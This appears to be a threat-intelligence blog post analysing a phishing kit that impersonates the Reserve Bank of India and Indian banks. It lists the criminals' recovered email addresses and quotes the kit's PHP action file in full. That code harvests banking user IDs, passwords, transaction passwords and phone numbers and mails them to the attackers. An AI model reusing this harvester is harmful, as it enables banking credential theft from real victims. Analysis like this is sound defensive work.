e-Police India shared a phishing attack on their website at the beginning of November about a phishing campaign imitating the Reserve Bank of India. In this phishing attack, the spammers have indicated that you need to "Select Your Bank From the List Below to Complete Your OAC Registration Process". Malcovery has seen this kit several times, including for example a live version today on "thedelamere.co.uk".

For each of the icons on the list below, a full corresponding phishing site is offered. For some reason, the "western" banks on the list do NOT go to a phishing site, but provide a link directly to the brand indicated, These "non-phish" (mostly western banks, but some Indian as well) would include Barclays, Citibank, Deutsche Bank, Karnataka Bank, Karur Vysya Bank, Lakshmi Vilas Bank, RBS, Standard Charter, and Tamilnad Mercantile Bank.

(Screen shot of phish on "thedelamere.co.uk")

The same set of phishing files is regularly occurring in our Phishing intelligence system with more than 80 websites having been hacked to host these files.

Because Malcovery is REALLY good at recovering phishing kits, we were able to recover the criminals' email addresses in 15 of the 80 websites. akachi16akachi16@sify.com, akachiugonna@rediffmail.com, and akachiugonna@sify.com were found in 11 of those 15.

In November, the "action file" of these phish sent email to four email addresses, as shown above, and as observed by the investigators at e-Police.in. More recently, the "chizobamyluck@gmail.com" address has been excluded from the kit.

For example, for the phishing site:

The action file was:

<$fromemail = "$ip";
$ip = getenv("REMOTE_ADDR");
$message  = "-----------------+ Andhra Bank Details +-----------------\n";
$message .= "User Id: " .$_POST['user']."\n";
$message .= "Password: " .$_POST['pass1']."\n";
$message .= "Transaction Password: " .$_POST['pass2']."\n";
$message .= "Mobile: " .$_POST['mobile']."\n";
$message .= "Client IP      : $ip\n";
$message .= "-----------------+ Created in 2012 By DON PERO------------------\n";

$recipient = "akachi16akachi16@sify.com, akachiugonna@rediffmail.com, 
akachiugonna@sify.com, chizobamyluck@gmail.com";
$subject = "Andhra $ip";
$headers = "From: admin@gameshack.org";
$headers .= $fromemail."\n";
$headers .= "MIME-Version: 1.0\n";

if (mail($recipient,$subject,$message,$headers)) 
   {     header("Location: http://andhrabank.com");    }else    

    {   echo "ERROR! Please go back and try again.";      }>